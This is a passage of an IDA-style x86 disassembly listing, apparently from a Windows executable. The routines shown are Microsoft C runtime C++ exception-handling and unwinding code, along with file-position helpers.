		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4229B1
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_4227AA:				; CODE XREF: sub_422651+F3j
					; sub_422651+133j
		mov	edi, [ebp+var_10]


loc_4227AD:				; CODE XREF: sub_422651+DEj
					; sub_422651+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_422721
; ---------------------------------------------------------------------------


loc_4227B8:				; CODE XREF: sub_422651+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_4227C8
		push	1
		push	esi
		call	sub_422D26
		pop	ecx
		pop	ecx


loc_4227C8:				; CODE XREF: sub_422651+56j
					; sub_422651+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4227CD:				; CODE XREF: sub_422651+37j
					; sub_422651+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_4227F3
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4227F8
		add	esp, 20h
		jmp	short loc_4227C8
; ---------------------------------------------------------------------------


loc_4227F3:				; CODE XREF: sub_422651+180j
		jmp	sub_422DFC
sub_422651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227F8	proc near		; CODE XREF: sub_422651+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DBE70, 0
		push	esi
		push	edi
		jz	short loc_422829
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41D3AA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_42289C


loc_422829:				; CODE XREF: sub_4227F8+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D4D3
		add	esp, 14h
		mov	esi, eax


loc_422845:				; CODE XREF: sub_4227F8+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_42289C
		cmp	edi, [esi]
		jl	short loc_422894
		cmp	edi, [esi+4]
		jg	short loc_422894
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_42286E
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_422894


loc_42286E:				; CODE XREF: sub_4227F8+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4229B1
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_422894:				; CODE XREF: sub_4227F8+57j
					; sub_4227F8+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_422845
; ---------------------------------------------------------------------------


loc_42289C:				; CODE XREF: sub_4227F8+2Fj
					; sub_4227F8+53j
		pop	edi
		pop	esi
		leave
		retn
sub_4227F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4228A0	proc near		; CODE XREF: sub_422651+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_4228F7
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_4228F7
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_4228D1
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4228F3


loc_4228D1:				; CODE XREF: sub_4228A0+1Fj
		test	byte ptr [esi],	2
		jz	short loc_4228DB
		test	byte ptr [edi],	8
		jz	short loc_4228F3


loc_4228DB:				; CODE XREF: sub_4228A0+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_4228EA
		test	byte ptr [edi],	1
		jz	short loc_4228F3


loc_4228EA:				; CODE XREF: sub_4228A0+43j
		test	al, 2
		jz	short loc_4228F7
		test	byte ptr [edi],	2
		jnz	short loc_4228F7


loc_4228F3:				; CODE XREF: sub_4228A0+2Fj
					; sub_4228A0+39j ...
		xor	eax, eax
		jmp	short loc_4228FA
; ---------------------------------------------------------------------------


loc_4228F7:				; CODE XREF: sub_4228A0+Bj
					; sub_4228A0+14j ...
		push	1
		pop	eax


loc_4228FA:				; CODE XREF: sub_4228A0+55j
		pop	edi
		pop	esi
		retn
sub_4228A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4228FD	proc near		; CODE XREF: sub_4225B6+34p
					; ___:004229F3p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278A8
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42292F:				; CODE XREF: sub_4228FD+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_422989
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42293E
		cmp	esi, [edi+4]
		jl	short loc_422943


loc_42293E:				; CODE XREF: sub_4228FD+3Aj
		call	sub_422E52


loc_422943:				; CODE XREF: sub_4228FD+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_42295E
		push	103h
		push	ebx
		push	eax
		call	sub_422DB0


loc_42295E:				; CODE XREF: sub_4228FD+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42297E
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_42299B
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_42297E:				; CODE XREF: sub_4228FD+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42292F
; ---------------------------------------------------------------------------


loc_422989:				; CODE XREF: sub_4228FD+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4228FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_42299B	proc near		; CODE XREF: sub_4228FD+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_4229AC
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4229AC:				; CODE XREF: sub_42299B+Cj
		jmp	sub_422DFC
sub_42299B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4229B1	proc near		; CODE XREF: sub_422651+151p
					; sub_4227F8+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_4229D3
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_422B62
		add	esp, 10h


loc_4229D3:				; CODE XREF: sub_4229B1+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_4229DF
		push	edi
		jmp	short loc_4229E2
; ---------------------------------------------------------------------------


loc_4229DF:				; CODE XREF: sub_4229B1+29j
		push	[ebp+arg_24]


loc_4229E2:				; CODE XREF: sub_4229B1+2Cj
		call	sub_41D2AC
sub_4229B1	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_4228FD
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_422A2C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422A27
		push	edi
		push	eax
		call	sub_41D26A


loc_422A27:				; CODE XREF: ___:00422A1Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422A2C	proc near		; CODE XREF: ___:00422A14p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278B8
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DBE68
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DBE6C
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DBE68, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DBE6C, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41D331
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422AF2
		mov	eax, [ebp+var_2C]


loc_422AB9:				; CODE XREF: sub_422AD2+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422A2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AC8	proc near		; DATA XREF: ___:004278C8o
		push	dword ptr [ebp-14h]
		call	sub_422B38
		pop	ecx
		retn
sub_422AC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422AD2	proc near		; DATA XREF: ___:004278CCo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41D592
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422AB9
sub_422AD2	endp

; ---------------------------------------------------------------------------


loc_422AEA:				; DATA XREF: ___:004278C0o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422AF2	proc near		; CODE XREF: sub_422A2C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DBE68, eax
		mov	eax, [ebp-20h]
		mov	dword_4DBE6C, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422B37
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422B37
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422B37
		cmp	[ebp-24h], ebx
		jnz	short locret_422B37
		cmp	[ebp-2Ch], ebx
		jz	short locret_422B37
		call	sub_41D5FA
		push	eax
		push	edi
		call	sub_422D26
		pop	ecx
		pop	ecx

locret_422B37:				; CODE XREF: sub_422AF2+1Cj
					; sub_422AF2+22j ...
		retn
sub_422AF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_422B38	proc near		; CODE XREF: sub_422AC8+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_422B5F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_422B5F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_422B5F
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_422B5F
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422B5F:				; CODE XREF: sub_422B38+Cj
					; sub_422B38+12j ...
		xor	eax, eax
		retn
sub_422B38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422B62	proc near		; CODE XREF: sub_4229B1+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_422D0B
		cmp	byte ptr [eax+8], 0
		jz	loc_422D0B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_422D0B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_422BFF
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422BF0:				; CODE XREF: sub_422B62+F5j
		push	eax
		call	sub_422D8D
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422D07
; ---------------------------------------------------------------------------


loc_422BFF:				; CODE XREF: sub_422B62+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_422C59
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41D670
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422D07
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422D07
		add	esi, 8
		push	esi
		jmp	short loc_422BF0
; ---------------------------------------------------------------------------


loc_422C59:				; CODE XREF: sub_422B62+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422CA1
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41D670
		add	esp, 0Ch
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422CA1:				; CODE XREF: sub_422B62+103j
		call	sub_424F80
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	1
		push	edi
		call	sub_424F9C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		push	dword ptr [esi+18h]
		call	sub_424FB8
		pop	ecx
		test	eax, eax
		jz	short loc_422D02
		test	byte ptr [esi],	4
		jz	short loc_422CE8
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D2A5
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422CE8:				; CODE XREF: sub_422B62+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_422D8D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41D29E
		jmp	short loc_422D07
; ---------------------------------------------------------------------------


loc_422D02:				; CODE XREF: sub_422B62+6Aj
					; sub_422B62+7Cj ...
		call	sub_422E52


loc_422D07:				; CODE XREF: sub_422B62+98j
					; sub_422B62+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_422D0B:				; CODE XREF: sub_422B62+2Ej
					; sub_422B62+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422B62	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422DFC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422D26	proc near		; CODE XREF: sub_422651+170p
					; sub_422AF2+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278E0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422D6D
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_422D6D
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41D29E
		or	[ebp+var_4], 0FFFFFFFFh


loc_422D6D:				; CODE XREF: sub_422D26+2Aj
					; sub_422D26+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422D26	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_422DFC

; =============== S U B	R O U T	I N E =======================================



sub_422D8D	proc near		; CODE XREF: sub_422B62+8Fp
					; sub_422B62+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_422DAE
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_422DAE:				; CODE XREF: sub_422D8D+12j
		pop	esi
		retn
sub_422D8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DB0	proc near		; CODE XREF: sub_41D331+40p
					; sub_4228FD+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41D61D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_422DEF
		mov	ecx, 2


loc_422DEF:				; CODE XREF: sub_422DB0+38j
		push	ecx
		call	sub_41D61D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422DB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422DFC	proc near		; CODE XREF: sub_422651:loc_4227F3j
					; sub_42299B:loc_4229ACj ...

var_28		= dword	ptr -28h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424FD0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F0
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DBE74
		test	eax, eax
		jz	short loc_422E44
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_422E40
; ---------------------------------------------------------------------------


loc_422E39:				; DATA XREF: ___:00427900o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422E3D:				; DATA XREF: ___:00427904o
		mov	esp, [ebp+var_18]


loc_422E40:				; CODE XREF: sub_422DFC+3Bj
		and	[ebp+var_4], 0


loc_422E44:				; CODE XREF: sub_422DFC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422E4D:				; DATA XREF: ___:004278F8o
		jmp	loc_424FD0
sub_422DFC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422E52	proc near		; CODE XREF: sub_41D4D3+23p
					; sub_41D4D3:loc_41D53Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427908
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43D444
		test	eax, eax
		jz	short loc_422E9A
		mov	[ebp+var_4], 1
		call	eax ; sub_422DFC
		jmp	short loc_422E96
; ---------------------------------------------------------------------------


loc_422E8F:				; DATA XREF: ___:00427918o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422E93:				; DATA XREF: ___:0042791Co
		mov	esp, [ebp+var_18]


loc_422E96:				; CODE XREF: sub_422E52+3Bj
		and	[ebp+var_4], 0


loc_422E9A:				; CODE XREF: sub_422E52+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422EA3:				; DATA XREF: ___:00427910o
		jmp	sub_422DFC
sub_422E52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422EA8	proc near		; CODE XREF: sub_41D9B3+7p
					; sub_41D9B3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DD388
		push	esi
		cmp	eax, 3
		jnz	short loc_422ED1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41E717
		test	eax, eax
		pop	ecx
		jz	short loc_422ECE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422F06
; ---------------------------------------------------------------------------


loc_422ECE:				; CODE XREF: sub_422EA8+1Cj
		push	esi
		jmp	short loc_422EF8
; ---------------------------------------------------------------------------


loc_422ED1:				; CODE XREF: sub_422EA8+Ej
		cmp	eax, 2
		jnz	short loc_422EF5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F472
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422EF5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422F06
; ---------------------------------------------------------------------------


loc_422EF5:				; CODE XREF: sub_422EA8+2Cj
					; sub_422EA8+43j
		push	[ebp+arg_0]


loc_422EF8:				; CODE XREF: sub_422EA8+27j
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2660000h


loc_422F06:				; CODE XREF: sub_422EA8+24j
					; sub_422EA8+4Bj
		pop	esi
		leave
		retn
sub_422EA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_422F09	proc near		; CODE XREF: ___:0041DAF2p
					; sub_41F9BC+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DD140
		push	esi
		push	edi
		jnb	short loc_422F8B
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_422F8B
		push	eax
		call	sub_4240AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_422F4D
		mov	dword_4DBDDC, 9
		jmp	short loc_422F9C
; ---------------------------------------------------------------------------


loc_422F4D:				; CODE XREF: sub_422F09+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	near ptr 27C0000h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_422F6D
		call	near ptr 26A0CA7h
		nop
		jmp	short loc_422F6F
; ---------------------------------------------------------------------------


loc_422F6D:				; CODE XREF: sub_422F09+5Aj
		xor	eax, eax


loc_422F6F:				; CODE XREF: sub_422F09+62j
		test	eax, eax
		jz	short loc_422F7C
		push	eax
		call	sub_420C7F
		pop	ecx
		jmp	short loc_422F9C
; ---------------------------------------------------------------------------


loc_422F7C:				; CODE XREF: sub_422F09+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_422F9F
; ---------------------------------------------------------------------------


loc_422F8B:				; CODE XREF: sub_422F09+Dj
					; sub_422F09+2Aj
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_422F9C:				; CODE XREF: sub_422F09+42j
					; sub_422F09+71j
		or	eax, 0FFFFFFFFh


loc_422F9F:				; CODE XREF: sub_422F09+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_422F09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422FA3	proc near		; CODE XREF: ___:0041DAB5p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_422FBF
		mov	[edi+4], ebx


loc_422FBF:				; CODE XREF: sub_422FA3+17j
		push	1
		push	ebx
		push	esi
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42302D
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422FE4
		sub	eax, [edi+4]
		jmp	loc_4230F6
; ---------------------------------------------------------------------------


loc_422FE4:				; CODE XREF: sub_422FA3+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_42301E
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DD040[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_423035
		mov	edx, ecx


loc_42300F:				; CODE XREF: sub_422FA3+79j
		cmp	edx, eax
		jnb	short loc_423035
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42301B
		inc	[ebp+var_8]


loc_42301B:				; CODE XREF: sub_422FA3+73j
		inc	edx
		jmp	short loc_42300F
; ---------------------------------------------------------------------------


loc_42301E:				; CODE XREF: sub_422FA3+50j
